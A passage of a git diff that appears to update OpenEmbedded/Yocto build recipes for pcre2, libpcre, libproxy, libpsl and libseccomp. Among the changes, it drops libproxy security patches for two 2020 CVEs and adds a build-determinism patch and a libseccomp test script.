-SRC_URI[sha256sum] = "9ccba8e02b0ce78046cdfb52e5c177f0f445e421059e43becca4359c669d4613"
-
-CVE_PRODUCT = "pcre2"
-
-S = "${WORKDIR}/pcre2-${PV}"
-
-PROVIDES += "pcre2"
-DEPENDS += "bzip2 zlib"
-
-BINCONFIG = "${bindir}/pcre2-config"
-
-inherit autotools binconfig-disabled
-
-EXTRA_OECONF = "\
- --enable-newline-is-lf \
- --with-link-size=2 \
- --with-match-limit=10000000 \
- --enable-pcre2-16 \
- --enable-pcre2-32 \
-"
-CFLAGS += "-D_REENTRANT"
-CXXFLAGS_append_powerpc = " -lstdc++"
-
-PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
-
-SUMMARY_pcre2grep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcre2test = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcre2-16 = "${libdir}/libpcre2-16.so.*"
-FILES_libpcre2-32 = "${libdir}/libpcre2-32.so.*"
-FILES_pcre2grep = "${bindir}/pcre2grep"
-FILES_pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
-FILES_pcre2test = "${bindir}/pcre2test"
-FILES_pcre2test-doc = "${mandir}/man1/pcre2test.1"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre2_10.39.bb b/meta/recipes-support/libpcre/libpcre2_10.39.bb
new file mode 100644
index 0000000000..b5ec62fe18
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre2_10.39.bb
@@ -0,0 +1,54 @@
+DESCRIPTION = "There are two major versions of the PCRE library. The \
+newest version is PCRE2, which is a re-working of the original PCRE \
+library to provide an entirely new API. The original, very widely \
+deployed PCRE library's API and feature are stable, future releases \
+ will be for bugfixes only. All new future features will be to PCRE2, \
+not the original PCRE 8.x series."
+SUMMARY = "Perl Compatible Regular Expressions version 2"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=43cfa999260dd853cd6cb174dc396f3d"
+
+SRC_URI = "https://github.com/PhilipHazel/pcre2/releases/download/pcre2-${PV}/pcre2-${PV}.tar.bz2"
+
+UPSTREAM_CHECK_URI = "https://github.com/PhilipHazel/pcre2/releases"
+
+SRC_URI[sha256sum] = "0f03caf57f81d9ff362ac28cd389c055ec2bf0678d277349a1a4bee00ad6d440"
+
+CVE_PRODUCT = "pcre2"
+
+S = "${WORKDIR}/pcre2-${PV}"
+
+PROVIDES += "pcre2"
+DEPENDS += "bzip2 zlib"
+
+BINCONFIG = "${bindir}/pcre2-config"
+
+inherit autotools binconfig-disabled
+
+EXTRA_OECONF = "\
+ --enable-newline-is-lf \
+ --with-link-size=2 \
+ --with-match-limit=10000000 \
+ --enable-pcre2-16 \
+ --enable-pcre2-32 \
+"
+CFLAGS += "-D_REENTRANT"
+CXXFLAGS:append:powerpc = " -lstdc++"
+
+PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
+
+SUMMARY:pcre2grep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcre2test = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcre2-16 = "${libdir}/libpcre2-16.so.*"
+FILES:libpcre2-32 = "${libdir}/libpcre2-32.so.*"
+FILES:pcre2grep = "${bindir}/pcre2grep"
+FILES:pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
+FILES:pcre2test = "${bindir}/pcre2test"
+FILES:pcre2test-doc = "${mandir}/man1/pcre2test.1"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre_8.44.bb b/meta/recipes-support/libpcre/libpcre_8.44.bb
deleted file mode 100644
index e5471e81da..0000000000
--- a/meta/recipes-support/libpcre/libpcre_8.44.bb
+++ /dev/null
@@ -1,75 +0,0 @@
-DESCRIPTION = "The PCRE library is a set of functions that implement regular \
-expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
-has its own native API, as well as a set of wrapper functions that correspond \
-to the POSIX regular expression API."
-SUMMARY = "Perl Compatible Regular Expressions"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=3bb381a66a5385b246d4877922e7511e"
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre-${PV}.tar.bz2 \
- file://fix-pcre-name-collision.patch \
- file://run-ptest \
- file://Makefile \
- "
-
-SRC_URI[md5sum] = "cf7326204cc46c755b5b2608033d9d24"
-SRC_URI[sha256sum] = "19108658b23b3ec5058edc9f66ac545ea19f9537234be1ec62b714c84399366d"
-
-CVE_PRODUCT = "pcre"
-
-S = "${WORKDIR}/pcre-${PV}"
-
-PROVIDES += "pcre"
-DEPENDS += "bzip2 zlib"
-
-PACKAGECONFIG ??= "pcre8 unicode-properties jit"
-
-PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
-PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
-PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
-PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
-PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
-PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
-
-BINCONFIG = "${bindir}/pcre-config"
-
-inherit autotools binconfig-disabled ptest
-
-EXTRA_OECONF = "--enable-utf"
-
-PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
-
-SUMMARY_libpcrecpp = "${SUMMARY} - C++ wrapper functions"
-SUMMARY_libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
-SUMMARY_pcregrep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcretest = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcrecpp = "${libdir}/libpcrecpp.so.*"
-FILES_libpcreposix = "${libdir}/libpcreposix.so.*"
-FILES_pcregrep = "${bindir}/pcregrep"
-FILES_pcregrep-doc = "${mandir}/man1/pcregrep.1"
-FILES_pcretest = "${bindir}/pcretest"
-FILES_pcretest-doc = "${mandir}/man1/pcretest.1"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- cp ${WORKDIR}/Makefile $t
- cp -r ${S}/testdata $t
- for i in pcre_stringpiece_unittest pcregrep pcretest; \
- do cp ${B}/.libs/$i $t; \
- done
- for i in RunTest RunGrepTest test-driver; \
- do cp ${S}/$i $t; \
- done
- # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
- # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
- # locale so the test fails if fr_FR is UTF-8 locale.
- sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
-}
-
-RDEPENDS_${PN}-ptest += "make"
diff --git a/meta/recipes-support/libpcre/libpcre_8.45.bb b/meta/recipes-support/libpcre/libpcre_8.45.bb
new file mode 100644
index 0000000000..46fedbae48
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre_8.45.bb
@@ -0,0 +1,73 @@
+DESCRIPTION = "The PCRE library is a set of functions that implement regular \
+expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
+has its own native API, as well as a set of wrapper functions that correspond \
+to the POSIX regular expression API."
+SUMMARY = "Perl Compatible Regular Expressions"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=b5d5d1a69a24ea2718263f1ff85a1c58"
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcre/pcre-${PV}.tar.bz2 \
+ file://run-ptest \
+ file://Makefile \
+ "
+
+SRC_URI[sha256sum] = "4dae6fdcd2bb0bb6c37b5f97c33c2be954da743985369cddac3546e3218bffb8"
+
+CVE_PRODUCT = "pcre"
+
+S = "${WORKDIR}/pcre-${PV}"
+
+PROVIDES += "pcre"
+DEPENDS += "bzip2 zlib"
+
+PACKAGECONFIG ??= "pcre8 unicode-properties jit"
+
+PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
+PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
+PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
+PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
+PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
+PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
+
+BINCONFIG = "${bindir}/pcre-config"
+
+inherit autotools binconfig-disabled ptest
+
+EXTRA_OECONF = "--enable-utf"
+
+PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
+
+SUMMARY:libpcrecpp = "${SUMMARY} - C++ wrapper functions"
+SUMMARY:libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
+SUMMARY:pcregrep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcretest = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcrecpp = "${libdir}/libpcrecpp.so.*"
+FILES:libpcreposix = "${libdir}/libpcreposix.so.*"
+FILES:pcregrep = "${bindir}/pcregrep"
+FILES:pcregrep-doc = "${mandir}/man1/pcregrep.1"
+FILES:pcretest = "${bindir}/pcretest"
+FILES:pcretest-doc = "${mandir}/man1/pcretest.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ cp ${WORKDIR}/Makefile $t
+ cp -r ${S}/testdata $t
+ for i in pcre_stringpiece_unittest pcregrep pcretest; \
+ do cp ${B}/.libs/$i $t; \
+ done
+ for i in RunTest RunGrepTest test-driver; \
+ do cp ${S}/$i $t; \
+ done
+ # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
+ # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
+ # locale so the test fails if fr_FR is UTF-8 locale.
+ sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
+}
+
+RDEPENDS:${PN}-ptest += "make"
diff --git a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch b/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
deleted file mode 100644
index fedda9dd95..0000000000
--- a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 2d73469c7a17ebfe4330ac6643b0c8abdc125d05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Jan 2019 09:29:44 -0800
-Subject: [PATCH] get-pac-test: Fix build with clang/libc++
-
-get-pac-test.cpp:55:10: error: assigning to 'int' from incompatible type '__bind<int &, sockaddr *, unsigned int>'
- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in)); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Submitted [https://github.com/libproxy/libproxy/pull/97]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libproxy/test/get-pac-test.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libproxy/test/get-pac-test.cpp b/libproxy/test/get-pac-test.cpp
-index 0059dfb..911f296 100644
---- a/libproxy/test/get-pac-test.cpp
-+++ b/libproxy/test/get-pac-test.cpp
-@@ -52,7 +52,7 @@ class TestServer {
-
- setsockopt(m_sock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
-
-- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
-+ ret = ::bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
- assert(!ret);
-
- ret = listen(m_sock, 1);
---
-2.20.1
-
diff --git a/meta/recipes-support/libproxy/libproxy/CVE-2020-25219.patch b/meta/recipes-support/libproxy/libproxy/CVE-2020-25219.patch
deleted file mode 100644
index 3ef7f85451..0000000000
--- a/meta/recipes-support/libproxy/libproxy/CVE-2020-25219.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From a83dae404feac517695c23ff43ce1e116e2bfbe0 Mon Sep 17 00:00:00 2001
-From: Michael Catanzaro <mcatanzaro@gnome.org>
-Date: Wed, 9 Sep 2020 11:12:02 -0500
-Subject: [PATCH] Rewrite url::recvline to be nonrecursive
-
-This function processes network input. It's semi-trusted, because the
-PAC ought to be trusted. But we still shouldn't allow it to control how
-far we recurse. A malicious PAC can cause us to overflow the stack by
-sending a sufficiently-long line without any '\n' character.
-
-Also, this function failed to properly handle EINTR, so let's fix that
-too, for good measure.
-
-Fixes #134
-
-Upstream-Status: Backport [https://github.com/libproxy/libproxy/commit/836c10b60c65e947ff1e10eb02fbcc676d909ffa]
-CVE: CVE-2020-25219
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
----
- libproxy/url.cpp | 28 ++++++++++++++++++----------
- 1 file changed, 18 insertions(+), 10 deletions(-)
-
-diff --git a/libproxy/url.cpp b/libproxy/url.cpp
-index ee776b2..68d69cd 100644
---- a/libproxy/url.cpp
-+++ b/libproxy/url.cpp
-@@ -388,16 +388,24 @@ string url::to_string() const {
- return m_orig;
- }
-
--static inline string recvline(int fd) {
-- // Read a character.
-- // If we don't get a character, return empty string.
-- // If we are at the end of the line, return empty string.
-- char c = '\0';
--
-- if (recv(fd, &c, 1, 0) != 1 || c == '\n')
-- return "";
--
-- return string(1, c) + recvline(fd);
-+static string recvline(int fd) {
-+ string line;
-+ int ret;
-+
-+ // Reserve arbitrary amount of space to avoid small memory reallocations.
-+ line.reserve(128);
-+
-+ do {
-+ char c;
-+ ret = recv(fd, &c, 1, 0);
-+ if (ret == 1) {
-+ if (c == '\n')
-+ return line;
-+ line += c;
-+ }
-+ } while (ret == 1 || (ret == -1 && errno == EINTR));
-+
-+ return line;
- }
-
- char* url::get_pac() {
diff --git a/meta/recipes-support/libproxy/libproxy/CVE-2020-26154.patch b/meta/recipes-support/libproxy/libproxy/CVE-2020-26154.patch
deleted file mode 100644
index 0ccb99da81..0000000000
--- a/meta/recipes-support/libproxy/libproxy/CVE-2020-26154.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-From 4411b523545b22022b4be7d0cac25aa170ae1d3e Mon Sep 17 00:00:00 2001
-From: Fei Li <lifeibiren@gmail.com>
-Date: Fri, 17 Jul 2020 02:18:37 +0800
-Subject: [PATCH] Fix buffer overflow when PAC is enabled
-
-The bug was found on Windows 10 (MINGW64) when PAC is enabled. It turned
-out to be the large PAC file (more than 102400 bytes) returned by a
-local proxy program with no content-length present.
-
-Upstream-Status: Backport [https://github.com/libproxy/libproxy/commit/6d342b50366a048d3d543952e2be271b5742c5f8]
-CVE: CVE-2020-26154
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
-
----
- libproxy/url.cpp | 44 +++++++++++++++++++++++++++++++-------------
- 1 file changed, 31 insertions(+), 13 deletions(-)
-
-diff --git a/libproxy/url.cpp b/libproxy/url.cpp
-index ee776b2..8684086 100644
---- a/libproxy/url.cpp
-+++ b/libproxy/url.cpp
-@@ -54,7 +54,7 @@ using namespace std;
- #define PAC_MIME_TYPE_FB "text/plain"
-
- // This is the maximum pac size (to avoid memory attacks)
--#define PAC_MAX_SIZE 102400
-+#define PAC_MAX_SIZE 0x800000
- // This is the default block size to use when receiving via HTTP
- #define PAC_HTTP_BLOCK_SIZE 512
-
-@@ -478,15 +478,13 @@ char* url::get_pac() {
- }
-
- // Get content
-- unsigned int recvd = 0;
-- buffer = new char[PAC_MAX_SIZE];
-- memset(buffer, 0, PAC_MAX_SIZE);
-+ std::vector<char> dynamic_buffer;
- do {
- unsigned int chunk_length;
-
- if (chunked) {
- // Discard the empty line if we received a previous chunk
-- if (recvd > 0) recvline(sock);
-+ if (!dynamic_buffer.empty()) recvline(sock);
-
- // Get the chunk-length line as an integer
- if (sscanf(recvline(sock).c_str(), "%x", &chunk_length) != 1 || chunk_length == 0) break;
-@@ -498,21 +496,41 @@ char* url::get_pac() {
-
- if (content_length >= PAC_MAX_SIZE) break;
-
-- while (content_length == 0 || recvd != content_length) {
-- int r = recv(sock, buffer + recvd,
-- content_length == 0 ? PAC_HTTP_BLOCK_SIZE
-- : content_length - recvd, 0);
-+ while (content_length == 0 || dynamic_buffer.size() != content_length) {
-+ // Calculate length to recv
-+ unsigned int length_to_read = PAC_HTTP_BLOCK_SIZE;
-+ if (content_length > 0)
-+ length_to_read = content_length - dynamic_buffer.size();
-+
-+ // Prepare buffer
-+ dynamic_buffer.resize(dynamic_buffer.size() + length_to_read);
-+
-+ int r = recv(sock, dynamic_buffer.data() + dynamic_buffer.size() - length_to_read, length_to_read, 0);
-+
-+ // Shrink buffer to fit
-+ if (r >= 0)
-+ dynamic_buffer.resize(dynamic_buffer.size() - length_to_read + r);
-+
-+ // PAC size too large, discard
-+ if (dynamic_buffer.size() >= PAC_MAX_SIZE) {
-+ chunked = false;
-+ dynamic_buffer.clear();
-+ break;
-+ }
-+
- if (r <= 0) {
- chunked = false;
- break;
- }
-- recvd += r;
- }
- } while (chunked);
-
-- if (content_length != 0 && string(buffer).size() != content_length) {
-- delete[] buffer;
-- buffer = NULL;
-+ if (content_length == 0 || content_length == dynamic_buffer.size()) {
-+ buffer = new char[dynamic_buffer.size() + 1];
-+ if (!dynamic_buffer.empty()) {
-+ memcpy(buffer, dynamic_buffer.data(), dynamic_buffer.size());
-+ }
-+ buffer[dynamic_buffer.size()] = '\0';
- }
- }
-
diff --git a/meta/recipes-support/libproxy/libproxy/determinism.patch b/meta/recipes-support/libproxy/libproxy/determinism.patch
new file mode 100644
index 0000000000..09770f68f0
--- /dev/null
+++ b/meta/recipes-support/libproxy/libproxy/determinism.patch
@@ -0,0 +1,26 @@
+[PATCH] cmake/modules/config_sysconfig: Allow configuration of sysconfig module
+
+Checking whether the host system has /etc/sysconfig is not deterministic
+when cross compiling. Allow this to be disabled by adding a configure
+option for it. OpenEmbedded can set this and have deterministic build
+output independent of the host OS.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://github.com/libproxy/libproxy/pull/160]
+
+Index: libproxy-0.4.17/libproxy/cmake/modules/config_sysconfig.cmk
+===================================================================
+--- libproxy-0.4.17.orig/libproxy/cmake/modules/config_sysconfig.cmk
++++ libproxy-0.4.17/libproxy/cmake/modules/config_sysconfig.cmk
+@@ -1,5 +1,8 @@
+ if (NOT WIN32 AND NOT APPLE)
+- if (EXISTS "/etc/sysconfig" AND IS_DIRECTORY "/etc/sysconfig")
+- set(SYSCONFIG_FOUND 1)
++ option(WITH_SYSCONFIG "Build sysconfig module for /etc/sysconfig" ON)
++ if(WITH_SYSCONFIG)
++ if (EXISTS "/etc/sysconfig" AND IS_DIRECTORY "/etc/sysconfig")
++ set(SYSCONFIG_FOUND 1)
++ endif()
+ endif()
+ endif()
+\ No newline at end of file
diff --git a/meta/recipes-support/libproxy/libproxy_0.4.15.bb b/meta/recipes-support/libproxy/libproxy_0.4.15.bb
deleted file mode 100644
index 6f704d7a91..0000000000
--- a/meta/recipes-support/libproxy/libproxy_0.4.15.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Library providing automatic proxy configuration management"
-HOMEPAGE = "https://github.com/libproxy/libproxy"
-BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://utils/proxy.c;beginline=1;endline=18;md5=55152a1006d7dafbef32baf9c30a99c0"
-
-DEPENDS = "glib-2.0"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-get-pac-test-Fix-build-with-clang-libc.patch \
- file://CVE-2020-25219.patch \
- file://CVE-2020-26154.patch \
- "
-SRC_URI[md5sum] = "f6b1d2a1e17a99cd3debaae6d04ab152"
-SRC_URI[sha256sum] = "654db464120c9534654590b6683c7fa3887b3dad0ca1c4cd412af24fbfca6d4f"
-
-UPSTREAM_CHECK_URI = "https://github.com/libproxy/libproxy/releases"
-UPSTREAM_CHECK_REGEX = "libproxy-(?P<pver>.*)\.tar"
-
-inherit cmake pkgconfig
-
-PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gnome', '', d)} gnome3"
-PACKAGECONFIG[gnome] = "-DWITH_GNOME=yes,-DWITH_GNOME=no,gconf"
-PACKAGECONFIG[gnome3] = "-DWITH_GNOME3=yes,-DWITH_GNOME3=no"
-
-EXTRA_OECMAKE += " \
- -DWITH_KDE=no \
- -DWITH_MOZJS=no \
- -DWITH_NM=no \
- -DWITH_PERL=no \
- -DWITH_PYTHON2=no \
- -DWITH_PYTHON3=no \
- -DWITH_WEBKIT=no \
- -DLIB_INSTALL_DIR=${libdir} \
- -DLIBEXEC_INSTALL_DIR=${libexecdir} \
-"
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-FILES_${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libproxy/libproxy_0.4.17.bb b/meta/recipes-support/libproxy/libproxy_0.4.17.bb
new file mode 100644
index 0000000000..7e97d36339
--- /dev/null
+++ b/meta/recipes-support/libproxy/libproxy_0.4.17.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library providing automatic proxy configuration management"
+DESCRIPTION = "libproxy provides interfaces to get the proxy that will be \
+used to access network resources. It uses various plugins to get proxy \
+configuration via different mechanisms (e.g. environment variables or \
+desktop settings)."
+HOMEPAGE = "https://github.com/libproxy/libproxy"
+BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
+SECTION = "libs"
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://utils/proxy.c;beginline=1;endline=18;md5=55152a1006d7dafbef32baf9c30a99c0"
+
+DEPENDS = "glib-2.0"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://determinism.patch"
+SRC_URI[sha256sum] = "bc89f842f654ee1985a31c0ba56dc7e2ce8044a0264ddca84e650f46cd7f8b05"
+
+UPSTREAM_CHECK_URI = "https://github.com/libproxy/libproxy/releases"
+UPSTREAM_CHECK_REGEX = "libproxy-(?P<pver>.*)\.tar"
+
+inherit cmake pkgconfig
+
+PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gnome', '', d)} gnome3"
+PACKAGECONFIG[gnome] = "-DWITH_GNOME=yes,-DWITH_GNOME=no,gconf"
+PACKAGECONFIG[gnome3] = "-DWITH_GNOME3=yes,-DWITH_GNOME3=no"
+
+EXTRA_OECMAKE += " \
+ -DWITH_KDE=no \
+ -DWITH_MOZJS=no \
+ -DWITH_NM=no \
+ -DWITH_PERL=no \
+ -DWITH_PYTHON2=no \
+ -DWITH_PYTHON3=no \
+ -DWITH_WEBKIT=no \
+ -DWITH_SYSCONFIG=no \
+ -DLIB_INSTALL_DIR=${libdir} \
+ -DLIBEXEC_INSTALL_DIR=${libexecdir} \
+"
+SECURITY_PIE_CFLAGS:remove = "-fPIE -pie"
+
+FILES:${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libpsl/libpsl_0.21.1.bb b/meta/recipes-support/libpsl/libpsl_0.21.1.bb
index 0a48db65c3..4fc0ad8acb 100644
--- a/meta/recipes-support/libpsl/libpsl_0.21.1.bb
+++ b/meta/recipes-support/libpsl/libpsl_0.21.1.bb
@@ -1,4 +1,10 @@
SUMMARY = "Public Suffix List library"
+DESCRIPTION = "The libpsl package provides a library for accessing and \
+resolving information from the Public Suffix List (PSL). The PSL is a set of \
+domain names beyond the standard suffixes, such as .com."
+
+HOMEPAGE = "https://rockdaboot.github.io/libpsl/"
+BUGTRACKER = "https://github.com/rockdaboot/libpsl/issues"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=5437030d9e4fbe7267ced058ddb8a7f5 \
@@ -10,11 +16,10 @@ SRC_URI[sha256sum] = "ac6ce1e1fbd4d0254c4ddb9d37f1fa99dec83619c1253328155206b896
UPSTREAM_CHECK_URI = "https://github.com/rockdaboot/libpsl/releases"
-DEPENDS = "libidn2"
-
inherit autotools gettext gtk-doc manpages pkgconfig lib_package
-PACKAGECONFIG ??= ""
+PACKAGECONFIG ?= "icu"
PACKAGECONFIG[manpages] = "--enable-man,--disable-man,libxslt-native"
-
+PACKAGECONFIG[icu] = "--enable-runtime=libicu --enable-builtin=libicu,,icu"
+PACKAGECONFIG[idn2] = "--enable-runtime=libidn2 --enable-builtin=libidn2,,libidn2 libunistring"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libseccomp/files/run-ptest b/meta/recipes-support/libseccomp/files/run-ptest
new file mode 100644
index 0000000000..54b4a63cd2
--- /dev/null
+++ b/meta/recipes-support/libseccomp/files/run-ptest
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd tests
+./regression -a
diff --git a/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb b/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb
new file mode 100644
index 0000000000..e2a5e4ded7
--- /dev/null
+++ b/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb
@@ -0,0 +1,54 @@
+SUMMARY = "interface to seccomp filtering mechanism"
+DESCRIPTION = "The libseccomp library provides and easy to use, platform independent,interface to the Linux Kernel's syscall filtering mechanism: seccomp."
+HOMEPAGE = "https://github.com/seccomp/libseccomp"
+SECTION = "security"
+LICENSE = "LGPL-2.1"
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=0;endline=1;md5=8eac08d22113880357ceb8e7c37f989f"
+
+DEPENDS += "gperf-native"
+
+SRCREV = "57357d2741a3b3d3e8425889a6b79a130e0fa2f3"
+
+SRC_URI = "git://github.com/seccomp/libseccomp.git;branch=release-2.5;protocol=https \
+ file://run-ptest \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig ptest features_check
+
+REQUIRED_DISTRO_FEATURES = "seccomp"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[python] = "--enable-python, --disable-python, python3"
+
+DISABLE_STATIC = ""
+
+do_compile_ptest() {
+ oe_runmake -C tests check-build
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -d ${D}${PTEST_PATH}/tools
+ for file in $(find tests/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tests/*.tests -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tools/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+ # Overwrite libtool wrappers with real executables
+ for file in $(find tools/.libs/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+}
+
+FILES:${PN} = "${bindir} ${libdir}/${BPN}.so*"
+FILES:${PN}-dbg += "${libdir}/${PN}/tests/.debug/* ${libdir}/${PN}/tools/.debug"
+
+RDEPENDS:${PN}-ptest = "coreutils bash"
+
+PV = "2.5.3"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.72.0.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.72.0.bb
deleted file mode 100644
index d0bc019616..0000000000
--- a/meta/recipes-support/libsoup/libsoup-2.4_2.72.0.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "An HTTP library implementation in C"
-HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-SECTION = "x11/gnome/libs"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
-
-DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 intltool-native libpsl"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
-SRC_URI[sha256sum] = "170c3f8446b0f65f8e4b93603349172b1085fb8917c181d10962f02bb85f5387"
-
-CVE_PRODUCT = "libsoup"
-
-S = "${WORKDIR}/libsoup-${PV}"
-
-inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
-
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-
